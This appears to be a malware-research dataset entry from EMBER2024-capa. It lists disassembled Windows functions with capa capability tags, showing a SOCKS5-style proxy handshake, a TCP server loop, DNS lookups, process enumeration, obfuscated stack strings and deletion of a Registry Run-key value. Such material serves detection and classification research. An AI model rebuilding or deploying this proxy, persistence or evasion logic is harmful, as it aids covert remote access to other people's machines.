joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409ed9
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov byte [ebp - 8], 5
mov byte [ebp - 7], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 5
je 0x409f0a
mov eax, dword [ebp - 4]
xor ecx, ecx
mov cl, byte [eax]
mov eax, ecx
jmp 0x40a0dc
mov edx, dword [ebp - 4]
xor eax, eax
mov al, byte [edx + 2]
test eax, eax
je 0x409f23
mov ecx, dword [ebp - 4]
xor edx, edx
mov dl, byte [ecx + 2]
cmp edx, 2
jne 0x409f60
push 0x44c308
call fcn.00425260
add esp, 4
test eax, eax
jne 0x409f3a
mov byte [ebp - 7], 0
jmp 0x409f3e
mov byte [ebp - 7], 2
push 0
push 2
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x409f5e
xor eax, eax
jmp 0x40a0dc
jmp 0x409f67
xor eax, eax
jmp 0x40a0dc
movsx eax, byte [ebp - 7]
cmp eax, 2
jne 0x40a0d7
push 0x100
push 0
lea ecx, [ebp - 0x210]
push ecx
call fcn.004245f0
add esp, 0xc
push 0x100
push 0
lea edx, [ebp - 0x10c]
push edx
call fcn.004245f0
add esp, 0xc
push 0
push 0x5000
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0xffffffff
je 0x409fc6
cmp dword [ebp + 0x10], 0
jne 0x409fcd
xor eax, eax
jmp 0x40a0dc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 1
je 0x409fec
xor eax, eax
jmp 0x40a0dc
mov eax, dword [ebp - 0x110]
xor ecx, ecx
mov cl, byte [eax + 1]
test ecx, ecx
je 0x40a02f
mov edx, dword [ebp - 0x110]
xor eax, eax
mov al, byte [edx + 1]
cmp eax, 0x100
jg 0x40a02f
mov ecx, dword [ebp - 0x110]
xor edx, edx
mov dl, byte [ecx + 1]
push edx
mov eax, dword [ebp + 0xc]
add eax, 2
push eax
lea ecx, [ebp - 0x210]
push ecx
call fcn.00424650
add esp, 0xc
mov edx, dword [ebp - 0x110]
xor eax, eax
mov al, byte [edx + 1]
mov ecx, dword [ebp + 0xc]
movsx edx, byte [ecx + eax + 2]
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
je 0x40a07a
cmp dword [ebp - 0xc], 0x100
jg 0x40a07a
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x110]
xor edx, edx
mov dl, byte [ecx + 1]
mov eax, dword [ebp + 0xc]
lea ecx, [eax + edx + 3]
push ecx
lea edx, [ebp - 0x10c]
push edx
call fcn.00424650
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x44c308
call fcn.00425690
add esp, 8
test eax, eax
jne 0x40a0b3
lea ecx, [ebp - 0x10c]
push ecx
push 0x44c408
call fcn.00425690
add esp, 8
test eax, eax
jne 0x40a0b3
mov edx, dword [ebp + 0xc]
mov byte [edx + 1], 0
jmp 0x40a0ba
mov eax, dword [ebp + 0xc]
mov byte [eax + 1], 0xff
push 0
push 2
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40a0d7
xor eax, eax
jmp 0x40a0dc
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40a0e0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x45381c
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x40a106
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x40a197
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov eax, dword [ebp - 8]
cmp dword [edx + eax*4], 0
je 0x40a197
mov ecx, dword [ebp + 8]
mov byte [ecx], 0
mov dword [ebp - 0x1c], 0
jmp 0x40a137
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
movsx ecx, word [eax + 0xa]
cmp dword [ebp - 0x1c], ecx
jge 0x40a192
cmp dword [ebp - 0x1c], 0
jle 0x40a15a
push 0x44c9bc
mov edx, dword [ebp + 8]
push edx
call fcn.004255b0
add esp, 8
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov dl, byte [eax + ecx]
push edx
push 0x44c9c0
lea eax, [ebp - 0x18]
push eax
call fcn.00425b7e
add esp, 0xc
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004255b0
add esp, 8
jmp 0x40a12e
jmp 0x40a0fd
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret

Function at 0x40a19e
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40a1c2
xor eax, eax
jmp 0x40a1d9
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esp, ebp
pop ebp
ret
Function at 0x40a441
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.004245f0
add esp, 0xc
mov word [ebp - 0x10], 2
mov cx, word [ebp + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
je 0x40a48a
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
jmp 0x40a4b6
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0040a19e
add esp, 4
test eax, eax
je 0x40a4b2
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040a19e
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
jmp 0x40a4b6
xor eax, eax
jmp 0x40a522
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
cmp dword [edx], 0xffffffff
jne 0x40a4d3
xor eax, eax
jmp 0x40a522
mov dword [ebp - 0x14], 0x2710
push 4
lea eax, [ebp - 0x14]
push eax
push 0x1006
push 0xffff
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40a51d
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x40a522
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40a526
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00409ed9
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40a557
xor eax, eax
jmp 0x40a640
cmp dword [ebp - 4], 4
jne 0x40a58c
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 2
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040a1dd
add esp, 0x14
test eax, eax
jne 0x40a582
xor eax, eax
jmp 0x40a640
mov eax, 4
jmp 0x40a640
push 0
push 0x5000
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0xffffffff
je 0x40a5b2
cmp dword [ebp + 0x10], 0
jne 0x40a5b9
xor eax, eax
jmp 0x40a640
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
xor eax, eax
mov al, byte [edx]
cmp eax, 5
je 0x40a5cf
xor eax, eax
jmp 0x40a640
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 3]
cmp edx, 1
je 0x40a5e9
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + 3]
cmp ecx, 3
jne 0x40a614
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 3]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0040a1dd
add esp, 0x14
test eax, eax
jne 0x40a612
xor eax, eax
jmp 0x40a640
jmp 0x40a618
xor eax, eax
jmp 0x40a640
mov edx, dword [ebp - 8]
xor eax, eax
mov al, byte [edx + 1]
cmp eax, 1
je 0x40a632
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 1]
cmp edx, 3
jne 0x40a63e
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + 1]
mov eax, ecx
jmp 0x40a640
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40a644
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.004245f0
add esp, 0xc
mov dword [ebp - 0x24], 0x10
mov word [ebp - 0x20], 2
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x1e], 0
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
jne 0x40a690
xor eax, eax
jmp 0x40a6f6
push 0x10
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40a6a9
xor eax, eax
jmp 0x40a6f6
mov dword [ebp - 0x28], 0x2710
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [ebp - 0x12c]
push edx
call fcn.0040a0e0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 8]
mov ax, word [ebp - 0xe]
mov word [edx + 8], ax
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40aaf8
Capabilities:
Contain obfuscated stackstrings
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d0
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40ab1e
xor eax, eax
jmp 0x40ad0a
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0xffffffff
jne 0x40ab40
xor eax, eax
jmp 0x40ad0a
mov word [ebp - 0x1b0], 0
xor ecx, ecx
mov dword [ebp - 0x1ae], ecx
mov dword [ebp - 0x1aa], ecx
mov dword [ebp - 0x1a6], ecx
mov word [ebp - 0x1a2], cx
mov word [ebp - 0x1b0], 2
mov dx, word [0x453298]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1ae], ax
mov dword [ebp - 0x1ac], 0
push 0x10
lea eax, [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x19c]
push ecx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40abae
xor eax, eax
jmp 0x40ad0a
push 0x32
mov edx, dword [ebp - 0x19c]
push edx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x40abc9
xor eax, eax
jmp 0x40ad0a
mov dword [ebp - 4], 0xffffffff
mov eax, 1
test eax, eax
je 0x40ad0a
push 0
push 0
mov ecx, dword [ebp - 0x19c]
push ecx
call dword [sym.imp.WS2_32.dll_accept]
mov dword [ebp - 4], eax
push 8
call fcn.0042545c
add esp, 4
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jne 0x40ac0c
jmp 0x40abd0
mov byte [ebp - 0x1c8], 0x4b
mov byte [ebp - 0x1c7], 0x45
mov byte [ebp - 0x1c6], 0x52
mov byte [ebp - 0x1c5], 0x4e
mov byte [ebp - 0x1c4], 0x45
mov byte [ebp - 0x1c3], 0x4c
mov byte [ebp - 0x1c2], 0x33
mov byte [ebp - 0x1c1], 0x32
mov byte [ebp - 0x1c0], 0x2e
mov byte [ebp - 0x1bf], 0x64
mov byte [ebp - 0x1be], 0x6c
mov byte [ebp - 0x1bd], 0x6c
mov byte [ebp - 0x1bc], 0
mov byte [ebp - 0x1d0], 0x53
mov byte [ebp - 0x1cf], 0x6c
mov byte [ebp - 0x1ce], 0x65
mov byte [ebp - 0x1cd], 0x65
mov byte [ebp - 0x1cc], 0x70
mov byte [ebp - 0x1cb], 0
lea edx, [ebp - 0x1d0]
push edx
lea eax, [ebp - 0x1c8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1b8], eax
mov ecx, dword [ebp - 0x1a0]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
lea eax, [ebp - 0x198]
push eax
push 0
mov ecx, dword [ebp - 0x1a0]
push ecx
push 0x40a6fa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jne 0x40acf8
push 0x3e8
call dword [ebp - 0x1b8]
jmp 0x40ad05
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40abd0
mov esp, ebp
pop ebp
ret
Function at 0x40ad5e
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [ebp - 0xc], 0
jle 0x40adbf
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_sendto]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x40adab
or eax, 0xffffffff
jmp 0x40adc2
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x40ad78
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40bafb
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 0x8004667e
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp dword [ebp - 0x10], 0
jle 0x40bb64
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x40bb50
jmp 0x40bb64
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 8]
mov dword [ebp - 0x10], ecx
jmp 0x40bb28
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x40bdeb
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40be0a
xor eax, eax
jmp 0x40be51
mov word [ebp - 0x14], 2
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov cx, word [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x10
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40be3c
jmp 0x40be4f
mov eax, dword [ebp - 4]
jmp 0x40be51
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x40be51
jmp 0x40be41
mov esp, ebp
pop ebp
ret

Function at 0x40be72
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40be91
xor eax, eax
jmp 0x40bef9
mov word [ebp - 0x14], 0
xor eax, eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov word [ebp - 0x14], 2
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x10], ecx
mov dx, word [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40bed8
jmp 0x40bef7
push 3
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_listen]
mov eax, dword [ebp - 4]
jmp 0x40bef9
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x40bef9
jmp 0x40bee9
mov esp, ebp
pop ebp
ret
Function at 0x40c04a
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43ef40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1048
call fcn.00425360
lea ecx, [ebp - 0x1044]
call fcn.0040d5e0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
push eax
push 0x44c9c4
push 0x20
lea ecx, [ebp - 0x1040]
push ecx
call fcn.00425ceb
add esp, 0x10
mov dx, word [ebp + 0x14]
mov word [ebp - 0x1020], dx
mov ax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040be55
add esp, 8
mov dword [ebp - 0x104c], eax
cmp dword [ebp - 0x104c], 0
ja 0x40c0c8
jmp 0x40c168
mov edx, dword [ebp - 0x104c]
mov dword [ebp - 0x101c], edx
mov eax, 1
test eax, eax
je 0x40c168
push 0
push 2
lea ecx, [ebp - 0x1050]
push ecx
mov edx, dword [ebp - 0x104c]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x40c104
jmp 0x40c168
mov eax, dword [0x453314]
add eax, 1
mov dword [0x453314], eax
mov cx, word [ebp - 0x1050]
push ecx
lea ecx, [ebp - 0x1018]
call fcn.0040d540
lea edx, [ebp - 0x1048]
push edx
push 0
lea eax, [ebp - 0x1044]
push eax
push 0x40bf9f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40c158
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40c163
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40c0d4
mov edx, dword [ebp - 0x104c]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0x1054], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1044]
call fcn.0040d620
mov eax, dword [ebp - 0x1054]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x40c43f
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
push 0x128
call fcn.00433c24
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ecx], 0x128
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40c507
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x40c494
xor eax, eax
jmp 0x40c509
mov ecx, dword [ebp + 8]
push ecx
call fcn.00433231
add esp, 4
push eax
mov edx, dword [ebp - 4]
add edx, 0x24
push edx
call fcn.00433231
add esp, 4
push eax
call fcn.004252e0
add esp, 8
test eax, eax
jbe 0x40c4c4
mov eax, 1
jmp 0x40c509
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40c507
mov edx, dword [ebp + 8]
push edx
call fcn.00433231
add esp, 4
push eax
mov eax, dword [ebp - 4]
add eax, 0x24
push eax
call fcn.00433231
add esp, 4
push eax
call fcn.004252e0
add esp, 8
test eax, eax
jbe 0x40c505
mov eax, 1
jmp 0x40c509
jmp 0x40c4c4
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40c572
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov dword [eax], 0x440820
mov dword [ebp - 4], 0
jmp 0x40c596
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 0x9e50]
jae 0x40c623
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40c58d
mov ecx, dword [ebp - 8]
call fcn.0040ea34
mov esp, ebp
pop ebp
ret
Function at 0x40c732
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x40], ecx
mov byte [ebp - 0x30], 0x53
mov byte [ebp - 0x2f], 0x4f
mov byte [ebp - 0x2e], 0x46
mov byte [ebp - 0x2d], 0x54
mov byte [ebp - 0x2c], 0x57
mov byte [ebp - 0x2b], 0x41
mov byte [ebp - 0x2a], 0x52
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x5c
mov byte [ebp - 0x27], 0x4d
mov byte [ebp - 0x26], 0x69
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x72
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x73
mov byte [ebp - 0x21], 0x6f
mov byte [ebp - 0x20], 0x66
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x57
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x64
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x77
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x5c
mov byte [ebp - 0x15], 0x43
mov byte [ebp - 0x14], 0x75
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], 0x74
mov byte [ebp - 0xe], 0x56
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x52
mov byte [ebp - 5], 0x75
mov byte [ebp - 4], 0x6e
mov byte [ebp - 3], 0
lea eax, [ebp - 0x34]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c845
mov byte [ebp - 0x3c], 0x75
mov byte [ebp - 0x3b], 0x70
mov byte [ebp - 0x3a], 0x64
mov byte [ebp - 0x39], 0x61
mov byte [ebp - 0x38], 0x74
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call fcn.00425e0d
mov esp, ebp
pop ebp
ret

Function at 0x40c850
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40c8db
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x40c8db
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret